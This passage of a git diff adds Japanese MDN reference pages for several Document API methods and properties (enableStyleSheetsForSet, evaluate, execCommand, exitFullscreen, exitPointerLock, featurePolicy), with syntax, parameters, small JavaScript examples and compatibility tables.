scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.embeds")}}</div> diff --git a/files/ja/web/api/document/enablestylesheetsforset/index.html b/files/ja/web/api/document/enablestylesheetsforset/index.html new file mode 100644 index 0000000000..5acd3bc29a --- /dev/null +++ b/files/ja/web/api/document/enablestylesheetsforset/index.html @@ -0,0 +1,60 @@ +--- +title: Document.enableStyleSheetsForSet() +slug: Web/API/Document/enableStyleSheetsForSet +tags: + - API + - CSSOM + - DOM + - Method + - NeedsMarkupWork + - NeedsSpecTable + - Reference +translation_of: Web/API/Document/enableStyleSheetsForSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{Obsolete_header}}</div> + +<p>現在のスタイルシートセットの中で指定された名前に一致するスタイルシートを有効化し、それ以外のスタイルシートを (常に有効になるタイトルなしのものを除いて) 無効化します。.</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>document</var>.enableStyleSheetsForSet(<var>name</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>name</var></dt> + <dd>有効にするスタイルシートの名前。この名前に一致する題名を持ったスタイルシートはすべて有効化され、他の題名を持つスタイルシートは無効化されます。引数 <var>name</var> に空文字列を指定すると、すべての代替および推奨スタイルシートを無効化します (常設スタイルシート、つまり、 <code>title</code> 属性がないものを除く)。</dd> +</dl> + +<h2 id="Notes" name="Notes">注</h2> + +<ul> + <li>題名は大文字と小文字を区別して比較します。</li> + <li>このメソッドに <code>null</code> の <var>name</var> を指定して呼び出しても効果はありません。すべての代替および推奨スタイルシートを無効化したいのであれば、空文字列 "" を渡す<strong>必要があります</strong>。</li> + <li>題名がないスタイルシートは、このメソッドの影響を受けません。</li> + <li>このメソッドは {{domxref("document.lastStyleSheetSet")}} や {{domxref("document.preferredStyleSheetSet")}} の値に影響しません。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="notranslate">document.enableStyleSheetsForSet("Some style sheet set name"); +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.enableStyleSheetsForSet")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Stylesheet")}}</li> + <li>{{domxref("document.styleSheets")}}</li> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> + <li><a href="/ja/docs/Archive/Web_Standards/Correctly_Using_Titles_With_External_Stylesheets">Correctly Using Titles With External Stylesheets</a></li> +</ul> diff --git a/files/ja/web/api/document/evaluate/index.html b/files/ja/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..6ca3c32fff --- /dev/null +++ b/files/ja/web/api/document/evaluate/index.html @@ -0,0 +1,209 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +translation_of: Web/API/Document/evaluate +--- +<div>{{ ApiRef("DOM") }}</div> + +<div><a href="/en-US/docs/XPath" title="XPath">XPath</a> 式やその他与えられたパラメータに基づいて <code><a href="/en-US/docs/XPathResult" title="XPathResult">XPathResult</a></code> を返します。</div> + +<div> </div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var xpathResult = document.evaluate( + xpathExpression, + contextNode, + namespaceResolver, + resultType, + result +);</pre> + +<ul> + <li><code>xpathExpression</code> は評価される Xpath を示す文字列です。</li> + <li><code>contextNode</code> はクエリの<em>コンテキストノード</em>を指定します(<a href="http://www.w3.org/TR/xpath" rel="freelink">XPath の仕様</a>を参照してください) コンテキストノードとして <code>document</code> を渡すのが一般的です。</li> + <li><code>namespaceResolver</code> は、任意の名前空間接頭辞を受け取り、その接頭辞に関連付けられた名前空間 URI を文字列として返す関数です。接頭辞が文書の中でマッチされるように、XPath 自身の中で接頭辞を解決するために使われます。HTML 文書向け、または名前空間接頭辞を使わないときは <code>null</code> を指定するのが一般的です。</li> + <li><code>resultType</code> は返り値である <code>XPathResult</code> のタイプに対応する整数です。XPathResult コンストラクタの<a href="#Result_types">名前付き定数プロパティ</a> (例えば <code>XPathResult.ANY_TYPE</code>) を使用してください。これらは0から9までの整数に対応しています。</li> + <li><code>result</code> は結果として使われる既存の <code>XPathResult</code> です。<code>null</code> を指定するのが最も一般的です。<code>null</code> は新しい <code>XPathResult を生成します。</code></li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +/* Search the document for all h2 elements. + * The result will likely be an unordered node iterator. */ +var thisHeading = headings.iterateNext(); +var alertText = "Level 2 headings in this document are:\n"; +while (thisHeading) { + alertText += thisHeading.textContent + "\n"; + thisHeading = headings.iterateNext(); +} +alert(alertText); // Alerts the text of all h2 elements +</pre> + +<p>Note, in the above example, a more verbose XPath is preferred over common shortcuts such as <code>//h2</code>. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits <em>every</em> node from the root and all subnodes looking for possible matches.</p> + +<p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p> + +<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +</pre> + +<p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p> + +<p>See <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a> for more information.</p> + +<h2 id="Notes" name="Notes">注釈</h2> + +<ul> + <li>XPath expressions can be evaluated on HTML and XML documents.</li> + <li>While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.</li> +</ul> + +<h2 id="Result_types" name="Result_types">戻り値の分類</h2> + +<p>(Merge with <a href="/Template:XPathResultConstants" title="Template:XPathResultConstants">Template:XPathResultConstants</a>?</p> + +<p>These are supported values for the <code>resultType</code> parameter of the <code>evaluate</code> method:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Result Type</td> + <td class="header">Value</td> + <td class="header">Description</td> + </tr> + <tr> + <td><code>ANY_TYPE</code></td> + <td>0</td> + <td>Whatever type naturally results from the given expression.</td> + </tr> + <tr> + <td><code>NUMBER_TYPE</code></td> + <td>1</td> + <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td> + </tr> + <tr> + <td><code>STRING_TYPE</code></td> + <td>2</td> + <td>A result set containing a single string.</td> + </tr> + <tr> + <td><code>BOOLEAN_TYPE</code></td> + <td>3</td> + <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td> + <td>4</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td> + <td>5</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>6</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>7</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ANY_UNORDERED_NODE_TYPE</code></td> + <td>8</td> + <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td> + </tr> + <tr> + <td><code>FIRST_ORDERED_NODE_TYPE</code></td> + <td>9</td> + <td>A result set containing the first node in the document that matches the expression.</td> + </tr> + </tbody> +</table> + +<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p> + +<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p> + +<h2 id="Specifications" name="Specifications">仕様</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>Initial specification</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザ互換性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>XPath 1.0 support</td> + <td>1</td> + <td>1.5 (1.8)</td> + <td>{{CompatNo}}</td> + <td>9.0</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>XPath 1.0</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Implemented in WebKit 5.0 (531) or earlier.</p> + +<h2 id="See_also" name="See_also">関連項目</h2> + +<ul> + <li><a href="/en-US/docs/DOM/document.createExpression" title="DOM/document.createExpression">DOM:document.createExpression</a></li> + <li><a href="/en-US/docs/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li> + <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li> +</ul> diff --git a/files/ja/web/api/document/execcommand/index.html b/files/ja/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..268553810a --- /dev/null +++ b/files/ja/web/api/document/execcommand/index.html @@ -0,0 +1,180 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - Document + - Reference + - execCommand + - エディター + - メソッド +translation_of: Web/API/Document/execCommand +--- +<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div> + +<p><span class="seoSummary">HTML 文書が <code><a href="/ja/docs/Web/API/Document/designMode">designMode</a></code> に切り替わっていると、その <code>document</code> オブジェクトは <strong><code>execCommand</code></strong> メソッドを公開して、<a href="/ja/docs/Web/HTML/Element/input">フォーム入力欄</a>や <code><a href="/ja/docs/Web/HTML/Global_attributes/contenteditable">contentEditable</a></code> を持った要素など、現在編集可能な領域を操作するためのコマンドが実行できるようにします。</span></p> + +<p>多くのコマンドは、文書の<a href="/ja/docs/Web/API/Selection">選択範囲</a>に対して影響を及ぼしますが (太字、イタリック、など)、他にも新しい要素の挿入 (リンクの追加) や行全体に影響するもの (字下げ) もあります。 <code>contentEditable</code> を使用した場合、 <code>execCommand()</code> は現在アクティブな編集可能要素に影響を及ぼします。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>document</var>.execCommand(<var>aCommandName</var>, <var>aShowDefaultUI</var>, <var>aValueArgument</var>) +</pre> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>{{jsxref('Boolean')}} で、コマンドが対応していないか無効であれば <code>false</code> になります。</p> + +<div class="note"> +<p><strong>メモ</strong>: ユーザーの操作の中で行われた場合にのみ <code>true</code> を返します。コマンドを呼び出す前、ブラウザーが対応しているかどうかを検査するために、返値を使用しないでください。</p> +</div> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>aCommandName</var></code></dt> + <dd>{{domxref("DOMString")}} で、実行するコマンドの名前を指定します。使用可能なコマンドの一覧は、{{anch("Commands", "コマンド")}}の節をご覧ください。</dd> + <dt><code><var>aShowDefaultUI</var></code></dt> + <dd>{{jsxref("Boolean")}} で、既定のユーザインターフェースを表示するかどうかを指示します。 Mozilla では未実装です。</dd> + <dt><code><var>aValueArgument</var></code></dt> + <dd>追加の引数を必要とするコマンドの引数 (例えば、 <code>insertImage</code> では挿入する画像の URL)。引数の値は {{domxref("DOMString")}} です。引数が不要な場合は <code>null</code> を指定します。</dd> +</dl> + +<h3 id="Commands" name="Commands">コマンド</h3> + +<dl> + <dt><code>backColor</code></dt> + <dd>文書の背景色を変更します。 <code>styleWithCss</code> モードでは、文書ではなく含まれているブロックの背景色に影響します。この場合、引数として {{cssxref("<color>")}} 値の文字列を渡す必要があります。ただし、Internet Explorer ではテキストの背景色を設定するために使用します。</dd> + <dt><code>bold</code></dt> + <dd>選択範囲または挿入位置の太字のオンとオフを切り替えます。 Internet Explorer は {{HTMLElement("b")}} タグの代わりに {{HTMLElement("strong")}} タグを使用します。</dd> + <dt><code>ClearAuthenticationCache</code></dt> + <dd>キャッシュからすべての資格情報をクリアします。</dd> + <dt><code>contentReadOnly</code></dt> + <dd>コンテンツドキュメントを読み取り専用または編集可能にします。引数として true または false の真偽値が必要です。 (Internet Explorer は対応していません。)</dd> + <dt><code>copy</code></dt> + <dd>現在の選択範囲をクリップボードにコピーします。この動作が有効になる条件は、ブラウザーによって様々であり、時の経過により発展する可能性があります。このコマンドが使用可能かどうかは、ブラウザーの互換性のセクションで確認してください。</dd> + <dt><code>createLink</code></dt> + <dd>選択範囲からハイパーリンクを作成しますが、選択範囲が<em>ある</em>ときだけです。ハイパーリンクの <code>href</code> の引数として、 <a href="/ja/docs/Archive/Mozilla/URIs_and_URLs">URI</a> が必要です。 URI は少なくとも1文字を含む必要があり、空白文字でもかまいません。 (Internet Explorer は <code>null</code> 値でリンクを作成できます。)</dd> + <dt><code>cut</code></dt> + <dd>現在の選択範囲を除去して、クリップボードにコピーします。いつこの動作が有効になるかはブラウザーによって様々であり、条件は時期によって変化しています。使用方法の詳細は<a href="#Browser_compatibility">ブラウザーの互換性</a>で確認してください。</dd> + <dt><code>decreaseFontSize</code></dt> + <dd>選択範囲の前後または挿入位置に {{HTMLElement("small")}} タグを追加します。(Internet Explorer では対応していません。)</dd> + <dt><code>defaultParagraphSeparator</code></dt> + <dd>編集可能なテキスト領域に新しい段落が作成された時の、段落区切りを変更します。詳しくは<a href="/ja/docs/Web/Guide/HTML/Editable_content#Differences_in_markup_generation">マークアップ生成の違い</a>を参照してください。</dd> + <dt><code>delete</code></dt> + <dd>現在の選択範囲を削除します。</dd> + <dt><code>enableAbsolutePositionEditor</code></dt> + <dd>絶対配置の要素を移動させるためのグラバーを有効化または無効化します。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})</dd> + <dt><code>enableInlineTableEditing</code></dt> + <dd>表の行/列の挿入・削除コントロールを有効または無効にします。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})</dd> + <dt><code>enableObjectResizing</code></dt> + <dd>画像、表、絶対配置の要素、などの大きさの変更が可能なオブジェクトにおいて、大きさ変更用のハンドルを有効化または無効化します。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})</dd> + <dt><code>fontName</code></dt> + <dd>選択範囲または挿入位置のフォント名を変更します。引数としてフォント名の文字列 (<code>"Arial"</code> など) が必要です。</dd> + <dt><code>fontSize</code></dt> + <dd>選択範囲または挿入位置のフォントサイズを変更します。引数として <code>1</code>-<code>7</code> の整数値が必要です。</dd> + <dt><code>foreColor</code></dt> + <dd>選択範囲または挿入位置のフォント色を変更します。引数として16進表記で色の値の文字列が必要です。</dd> + <dt><code>formatBlock</code></dt> + <dd>現在の選択範囲を含む行の前後に HTML ブロックレベル要素を追加し、すでに存在する場合は、その行を含むブロック要素に置き換えます (Firefox では {{HTMLElement("blockquote")}} は例外です。 — これはブロック要素を囲みます)。引数としてタグ名の文字列が必要です。実質的にすべてのブロックレベル要素を利用することができます。 (Internet Explorer および Edge は見出しタグ <code>H1</code>–<code>H6</code>, <code>ADDRESS</code>, <code>PRE</code> のみに対応しており、 <code>"<H1>"</code> のように山かっこで囲む必要があります。)</dd> + <dt><code>forwardDelete</code></dt> + <dd><a href="https://ja.wikipedia.org/wiki/%E3%82%AB%E3%83%BC%E3%82%BD%E3%83%AB">カーソル</a>位置より前の文字を 1 文字削除します。これは、 Windows のキーボードで Delete キーを押すのと同じ動作です。</dd> + <dt><code>heading</code></dt> + <dd>選択範囲または挿入位置の行の周りに見出し要素を追加します。引数としてタグ名の文字列 (つまり <code>"H1"</code> や <code>"H6"</code>) が必要です。 (Internet Explorer や Safari は対応していません。)</dd> + <dt><code>hiliteColor</code></dt> + <dd>選択範囲または挿入位置の背景色を変更します。引数として color 値の文字列が必要です。この機能は <code>useCSS</code> を <code>true</code> にしないと使えません。(Internet Explorer では対応していません。)</dd> + <dt><code>increaseFontSize</code></dt> + <dd>選択範囲または挿入位置に {{HTMLElement("big")}} タグを追加します。(Internet Explorer では対応していません。)</dd> + <dt><code>indent</code></dt> + <dd>選択範囲または挿入位置を含む行を字下げします。Firefox では、選択範囲が字下げレベルの異なる複数行にわたる場合、選択範囲内の最も字下げの少ない行のみが字下げされます。</dd> + <dt><code>insertBrOnReturn</code></dt> + <dd>Enter キーで {{HTMLElement("br")}} 要素を挿入するか現在のブロック要素を二分割するかを制御します。 (Internet Explorer では対応していません。)</dd> + <dt><code>insertHorizontalRule</code></dt> + <dd>挿入位置に {{HTMLElement("hr")}} 要素を挿入するか、選択範囲を置き換えるかします。</dd> + <dt><code>insertHTML</code></dt> + <dd>挿入位置に HTML 文字列を挿入します (選択範囲は削除されます)。引数として正しい HTML 文字列が必要です。(Internet Explorer では対応していません。)</dd> + <dt><code>insertImage</code></dt> + <dd>挿入位置に画像を挿入します (選択範囲は削除されます)。引数として画像の <code>src</code> のための URL 文字列が必要です。この文字列の要求事項は、 <code>createLink</code> と同じです。</dd> + <dt><code>insertOrderedList</code></dt> + <dd>選択範囲または挿入位置に<a href="/ja/docs/Web/HTML/Element/ol">番号付き順序付きリスト</a>を生成します。</dd> + <dt><code>insertUnorderedList</code></dt> + <dd>選択範囲または挿入位置<a href="/ja/docs/Web/HTML/Element/ul">行頭記号付き順序なしリスト</a>を生成します。</dd> + <dt><code>insertParagraph</code></dt> + <dd>選択範囲の前後または現在の行に<a href="/ja/docs/Web/HTML/Element/p">段落</a>を挿入します。(Internet Explorer は挿入位置に段落を挿入し、現在の選択範囲を削除します。)</dd> + <dt><code>insertText</code></dt> + <dd>挿入位置に与えられたプレーンテキストを挿入します (選択範囲は削除されます)。</dd> + <dt><code>italic</code></dt> + <dd>選択範囲または挿入位置のイタリック体のオンとオフを切り替えます。(Internet Explorer は {{HTMLElement("i")}} 要素ではなく、 {{HTMLElement("em")}} 要素を使用します。)</dd> + <dt><code>justifyCenter</code></dt> + <dd>選択範囲または挿入位置を中央揃えにします。</dd> + <dt><code>justifyFull</code></dt> + <dd>選択範囲または挿入位置を両端揃えにします。</dd> + <dt><code>justifyLeft</code></dt> + <dd>選択範囲または挿入位置を左寄せにします。</dd> + <dt><code>justifyRight</code></dt> + <dd>選択範囲または挿入位置を右寄せにします。</dd> + <dt><code>outdent</code></dt> + <dd>選択範囲または挿入位置を含む行の字下げを戻します。</dd> + <dt><code>paste</code></dt> + <dd>クリップボードのコンテンツを挿入位置に貼り付け (ペースト) します (現在の選択範囲は置き換えられます)。ウェブコンテンツでは無効です。 [1] を参照。</dd> + <dt><code>redo</code></dt> + <dd>前回の undo コマンドを元に戻します。</dd> + <dt><code>removeFormat</code></dt> + <dd>現在の選択範囲からすべての書式を削除します。</dd> + <dt><code>selectAll</code></dt> + <dd>編集可能領域のすべてのコンテンツを選択します。</dd> + <dt><code>strikeThrough</code></dt> + <dd>選択範囲または挿入位置の取り消し線のオンとオフを切り替えます。</dd> + <dt><code>subscript</code></dt> + <dd>選択範囲または挿入位置の<a href="/ja/docs/Web/HTML/Element/sub">下付き文字</a>のオンとオフを切り替えます。</dd> + <dt><code>superscript</code></dt> + <dd>選択範囲または挿入位置の<a href="/ja/docs/Web/HTML/Element/sup">上付き文字</a>のオンとオフを切り替えます。</dd> + <dt><code>underline</code></dt> + <dd>選択範囲または挿入位置の<a href="/ja/docs/Web/HTML/Element/u">下線</a>のオンとオフを切り替えます。</dd> + <dt><code>undo</code></dt> + <dd>最後に実行したコマンドを取り消します。</dd> + <dt><code>unlink</code></dt> + <dd>選択されたハイパーリンクから<a href="/ja/docs/Web/HTML/Element/a">アンカー要素</a>を削除します。</dd> + <dt><code>useCSS</code> {{Deprecated_inline}}</dt> + <dd>生成するマークアップに HTML タグと CSS のどちらを使用するかを切り替えます。引数として true または false の真偽値が必要です。</dd> + <dd>メモ: この引数は論理的に逆で (つまり、 false で CSS が使用され、true で HTML が使用される)、 Internet Explorer では対応していません。これは <em>styleWithCSS</em> に置き換えられ、非推奨になりました。</dd> + <dt><code>styleWithCSS</code></dt> + <dd><em>useCSS</em> コマンドを置き換えるものです。 <code>true</code> はマークアップ時に <em>style</em> 属性が生成または変更され、 false では書式要素が生成されます。</dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<p>CodePen に<a href="https://codepen.io/chrisdavidmills/full/gzYjag/">使用方法</a>の例があります。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + <tr> + <td><a href="https://w3c.github.io/editing/ActiveDocuments/execCommand.html#execcommand()">execCommand</a></td> + <td>非公式の草稿</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.execCommand")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/ja/docs/Rich-Text_Editing_in_Mozilla">Mozilla におけるリッチテキスト編集</a></li> + <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.</li> +</ul> diff --git a/files/ja/web/api/document/exitfullscreen/index.html b/files/ja/web/api/document/exitfullscreen/index.html new file mode 100644 index 0000000000..0a9a5008f5 --- /dev/null +++ b/files/ja/web/api/document/exitfullscreen/index.html @@ -0,0 +1,89 @@ +--- +title: Document.exitFullscreen() +slug: Web/API/Document/exitFullscreen +tags: + - API + - DOM + - Document + - Full + - Full-screen + - Fullscreen API + - Method + - Reference + - exitFullscreen + - fullscreen + - screen + - メソッド + - 全画面 +translation_of: Web/API/Document/exitFullscreen +--- +<div>{{ApiRef("Fullscreen API")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} の <code><strong>exitFullscreen()</strong></code> メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。</span>これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><em>exitPromise</em> = <em>document</em>.exitFullscreen(); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p>なし。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の <code>catch()</code> ハンドラーが呼び出されます。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。</p> + +<pre>document.onclick = function (event) { + if (document.fullscreenElement) { + document.exitFullscreen() + .then(() => console.log("Document Exited form Full screen mode")) + .catch((err) => console.error(err)) + } else { + document.documentElement.requestFullscreen() + } +}</pre> + +<div class="note"> +<p><strong>注:</strong> もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。</p> +</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.exitFullscreen")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Fullscreen_API">全画面 API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">全画面 API のガイド</a></li> + <li>{{ domxref("Element.requestFullscreen()") }}</li> + <li>{{ domxref("Document.fullscreenElement") }}</li> + <li>{{ cssxref(":fullscreen") }} および {{cssxref("::backdrop")}}</li> + <li>{{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性</li> +</ul> diff --git a/files/ja/web/api/document/exitpointerlock/index.html b/files/ja/web/api/document/exitpointerlock/index.html new file mode 100644 index 0000000000..287380d3e5 --- /dev/null +++ b/files/ja/web/api/document/exitpointerlock/index.html @@ -0,0 +1,54 @@ +--- +title: Document.exitPointerLock() +slug: Web/API/Document/exitPointerLock +tags: + - API + - Experimental + - Method + - Reference + - mouse lock +translation_of: Web/API/Document/exitPointerLock +--- +<div>{{APIRef("DOM")}} {{seeCompatTable}}</div> + +<p><strong><code>exitPointerLock()</code></strong> メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。</p> + +<p>リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">document.exitPointerLock(); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + <td><code>Document</code> インターフェイスを拡張</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.exitPointerLock")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{ domxref("Document.pointerLockElement") }}</li> + <li>{{ domxref("Element.requestPointerLock()") }}</li> + <li><a href="/ja/docs/Web/API/Pointer_Lock_API">ポインターロック</a></li> +</ul> diff --git a/files/ja/web/api/document/featurepolicy/index.html b/files/ja/web/api/document/featurepolicy/index.html new file mode 100644 index 0000000000..12ecf23a99 --- /dev/null +++ b/files/ja/web/api/document/featurepolicy/index.html @@ -0,0 +1,48 @@ +--- +title: Document.featurePolicy +slug: Web/API/Document/featurePolicy +tags: + - API + - Document + - Feature Policy + - Feature-Policy + - Reference + - 機能ポリシー +translation_of: Web/API/Document/featurePolicy +--- +<p>{{APIRef("Feature Policy")}}</p> + +<p><strong><code>featurePolicy</code></strong> は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する 